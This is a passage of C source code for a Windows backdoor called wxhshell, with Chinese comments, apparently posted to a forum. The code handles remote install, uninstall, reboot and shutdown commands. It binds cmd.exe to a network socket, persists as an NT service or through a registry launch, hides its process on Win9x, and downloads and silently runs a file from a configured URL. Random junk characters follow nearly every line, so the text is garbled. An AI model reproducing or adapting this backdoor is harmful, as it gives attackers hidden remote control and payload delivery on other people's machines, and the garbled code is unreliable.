      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~Xxmj!nOf  
    break; 4Lt9Dx1  
  } 6*9 wGLE  
  // 安装 R}=5:)%w  
  case 'i': { xGwImF$r  
    if(Install()) 7a'yO+7-)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }R['Zoh4I  
    else #,d~t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Az36wD  
    break; SO0\d0?u  
    } %vJHr!x  
  // 卸载 .r<a Py$  
  case 'r': { neI7VbH4  
    if(Uninstall()) VyxYv-$Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]5Uuz?:e  
    else x"12$7 9=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y d 97ys  
    break; crM5&L9zF  
    } .*zS2 z  
  // 显示 wxhshell 所在路径 -&8( MT*  
  case 'p': { &$~fz":1!  
    char svExeFile[MAX_PATH]; } GB~3 J  
    strcpy(svExeFile,"\n\r"); ;?2)[a  
      strcat(svExeFile,ExeFile); k6Kc{kY  
        send(wsh,svExeFile,strlen(svExeFile),0); 6$k#B ~~  
    break; dE7x  SI  
    } "Lbsq\W>  
  // 重启 6Xvpk1  
  case 'b': { ?gE=hh  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uks75W!}U  
    if(Boot(REBOOT)) H`JFXMa<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9pp +<c  
    else { DK4yAR,g  
    closesocket(wsh); n$/|r  
    ExitThread(0); x%B_v^^^  
    } n1f8jS+'}  
    break; \zO.#H  
    } TrjyU  
  // 关机 g&Vhu8kNIA  
  case 'd': { A WR :~{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); E`IXBI  
    if(Boot(SHUTDOWN)) |`T(:ZKXZ2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N"S`9B1eD(  
    else { &`D$w?beg  
    closesocket(wsh); `fBQ?[05.  
    ExitThread(0); sfM"!{7  
    } fzSkl`K}  
    break; /G||_Hc  
    } e HphM;C  
  // 获取shell ;s B=f  
  case 's': { jRK}H*uem  
    CmdShell(wsh); 0]DOiA  
    closesocket(wsh);  U4!bW  
    ExitThread(0); O =Z}DGa+  
    break; F \:~^`  
  } dAI^P/y%  
  // 退出 ^)AECn  
  case 'x': { BhJ>G%  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h,{m{Xh  
    CloseIt(wsh); [EAOk=X  
    break; h3MdQlJ&  
    } q7B5#kb  
  // 离开 F&M d+2  
  case 'q': { d<m;Q}/l&h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?WI v4  
    closesocket(wsh); )&c2+Y@  
    WSACleanup(); |+cz\+  
    exit(1); V._-iw]v  
    break; Vk6c^/v  
        } yzS]FwW7  
  } )PYPlSQ*V  
  } s9?mX@>h  
vt EfH  
  // 提示信息 PR{ubM n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 529; _|  
} r:QLU]   
  } A*h8 o9M  
i$Y#7^l%k  
  return; l)u%`Hcn  
} lu#a.41  
Pf;OYWST  
// shell模块句柄 +t7HlAXB#  
int CmdShell(SOCKET sock) xdSMYH{2A  
{ N8 sT?  
STARTUPINFO si; T8 FW(Gw#  
ZeroMemory(&si,sizeof(si)); }<Ydj .85  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7K"3[.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,:S#gN{U  
PROCESS_INFORMATION ProcessInfo; }&v}S6T  
char cmdline[]="cmd"; \mb4leg5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H1N@E}>|  
  return 0; *l7 `C)  
} %`C e#b()'  
@&*TGU  
// 自身启动模式 =ejcP&-V/  
int StartFromService(void) 0:{W t  
{ HNZ$CaJh  
typedef struct W{NWF[l8O?  
{ \`k=9{R.  
  DWORD ExitStatus; g`y9UYeh  
  DWORD PebBaseAddress; dsIbr"m  
  DWORD AffinityMask; MTYV~S4/  
  DWORD BasePriority; F}Zg3 #  
  ULONG UniqueProcessId; ^gVQ6=z%  
  ULONG InheritedFromUniqueProcessId; b:(+d"S  
}   PROCESS_BASIC_INFORMATION; 7w73,r/D8A  
J.iz%8  
PROCNTQSIP NtQueryInformationProcess; L=(-BYS  
BA a:!p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k}LIMkEa4a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4K cEJlK5  
C:1(<1K  
  HANDLE             hProcess; ?>7\L'n=5I  
  PROCESS_BASIC_INFORMATION pbi; nOC\ =<Nsg  
| .+P ;g  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5bb#{?2i  
  if(NULL == hInst ) return 0; 5c5!\g~'  
J{/hc} $  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); smCACQ$ (  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gwB,*.z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); j+!u=E  
V@0T&#  
  if (!NtQueryInformationProcess) return 0; \BBs;z[/  
Rd8mn'A  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); QFTiE1mGH  
  if(!hProcess) return 0; 33%hZ`/>  
gLMb,buqC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; :r{-:   
/[c_,G" "  
  CloseHandle(hProcess); 2dz)rjd O,  
U*nB= =  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); <xBL/e %  
if(hProcess==NULL) return 0; ]Mq-67  
$.C\H,H  
HMODULE hMod; ?z&n I#  
char procName[255]; ~{DJ,(N"n  
unsigned long cbNeeded; o2|#_tGNUy  
IV~)BW leT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vu_oxL}  
N5 sR  
  CloseHandle(hProcess); YUSrZ9Yg  
P^o@x,V!&  
if(strstr(procName,"services")) return 1; // 以服务启动 ~xzr8 P  
8Z}%,G*n  
  return 0; // 注册表启动 9T;>gm  
} "3_X$`v"!  
t=lDN'\P  
// 主模块 w[a(I} x  
int StartWxhshell(LPSTR lpCmdLine) 5_A*I C]  
{ N/>:})dav  
  SOCKET wsl; Y4YZM  
BOOL val=TRUE; $,Q] GIC  
  int port=0; )fo0YpE^|  
  struct sockaddr_in door; HH6n3c!:mm  
E$_zBD%  
  if(wscfg.ws_autoins) Install(); 'Rnzu0<lF  
#^9bBF/  
port=atoi(lpCmdLine); NJJ=ch  
%,$xmoj9O]  
if(port<=0) port=wscfg.ws_port; %i7U+v(d  
3LyNi$`f  
  WSADATA data; RKrNmD*rk*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XX-(>B0L  
`JV(ae0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   BN(=LQ2["  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {KDN|o+%  
  door.sin_family = AF_INET; d&G]k!|\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); }e|cszNRd  
  door.sin_port = htons(port); T!?tyW  
XR VZU~ZV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?(zCv9Pg  
closesocket(wsl); AP z"k?D0  
return 1; tvn o3"  
} 3AENY@*  
)cL(()N  
  if(listen(wsl,2) == INVALID_SOCKET) { C@;e<  
closesocket(wsl); qu#xc0?  
return 1; m*1  
} {a\! 1~  
  Wxhshell(wsl); ,ye[TQ\,M  
  WSACleanup(); VJ h]j (  
m|B)A"Sm  
return 0; }>y !I5O  
Rkg)yme!N  
} An}RD73!w  
h+Lpj^<2a  
// 以NT服务方式启动 {tOf0W|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Px-VRANZt  
{ 34CcZEQQ  
DWORD   status = 0; 7f3,czW  
  DWORD   specificError = 0xfffffff; 4n.JRR&;  
Kt qOA[6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;t9!< L  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; UM0Ws|qx&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0N)DHD?U  
  serviceStatus.dwWin32ExitCode     = 0; T_s09Wl  
  serviceStatus.dwServiceSpecificExitCode = 0; \ ^pc"?Rc  
  serviceStatus.dwCheckPoint       = 0; dYOY8r/  
  serviceStatus.dwWaitHint       = 0; )^P54_2  
2oc18#iG (  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jLn#%Ia}  
  if (hServiceStatusHandle==0) return; |<3x`l-`  
z80(+ `   
status = GetLastError(); #: [F=2@,A  
  if (status!=NO_ERROR) T)<^S(5 7  
{ T9J&^I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;:oXe*d  
    serviceStatus.dwCheckPoint       = 0; 1D)0\#><  
    serviceStatus.dwWaitHint       = 0; Y|wjt\M  
    serviceStatus.dwWin32ExitCode     = status; pdFO!A_t  
    serviceStatus.dwServiceSpecificExitCode = specificError; >h:'Z*9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -B/'ArOo]  
    return; z}==6| {  
  } %${$P+a`D  
[f { qb\  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yaG:}=.3  
  serviceStatus.dwCheckPoint       = 0; Nw9:Gi  
  serviceStatus.dwWaitHint       = 0; }8YY8|]LI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); kf<c[su  
} F#L1~\7  
?zC{T*a  
// 处理NT服务事件,比如:启动、停止 wC%qSy'  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IS!OO<  
{ }pf|GdL  
switch(fdwControl) f34/whD65  
{ 5|r*,! CF  
case SERVICE_CONTROL_STOP: rZ n@i  
  serviceStatus.dwWin32ExitCode = 0; Y+),c14#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ;!VxmZ:j[  
  serviceStatus.dwCheckPoint   = 0; h*40jZ  
  serviceStatus.dwWaitHint     = 0; N.q*jY= X|  
  { .`_iWfK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Gh7i>n*  
  } djnES,^%9  
  return; e-v|  
case SERVICE_CONTROL_PAUSE: ~4=*kJ#7  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; aaKf4}  
  break; Ua:@,};  
case SERVICE_CONTROL_CONTINUE: _()1 "5{  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <b *sn] l  
  break; {PxFG<^U  
case SERVICE_CONTROL_INTERROGATE: K^@9\cl^  
  break; a:l-cZ/!  
}; c'3N;sZ*B  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FP=27=  
} Cy/VH"G=  
T\$i=,_$  
// 标准应用程序主函数 ,m]5j_< }  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) pZ \7!rON  
{ = &pLlG  
V7nOT*N:Q  
// 获取操作系统版本 (&Lt&i _  
OsIsNt=GetOsVer(); _ {wP:dI "  
GetModuleFileName(NULL,ExeFile,MAX_PATH); itirh"[  
MYjc6@=cR  
  // 从命令行安装 ihwJBN>(  
  if(strpbrk(lpCmdLine,"iI")) Install(); `?N0?;  
{]}94T~/k  
  // 下载执行文件 YK6'/2!  
if(wscfg.ws_downexe) { Y2 J-`o$5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3BCD0 %8  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]7K2S{/o{  
}  `ROHB@-  
mrnPZf i  
if(!OsIsNt) { !YjxCx  
// 如果时win9x,隐藏进程并且设置为注册表启动 }kr?+)wB  
HideProc(); T#3@r0M  
StartWxhshell(lpCmdLine); a= j'G]=  
} kO3\v)B;  
else 9>9EZ?4m  
  if(StartFromService()) [F-GaaM  
  // 以服务方式启动 \298SH(!7  
  StartServiceCtrlDispatcher(DispatchTable); @ G)yz!H  
else m?<E >-bI  
  // 普通方式启动 @lE'D":?  
  StartWxhshell(lpCmdLine); 9|}Pf_5]%[  
6u+aP  
return 0; m]AT-]*f  
}
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只看该作者 1 发表于: 2006-10-10
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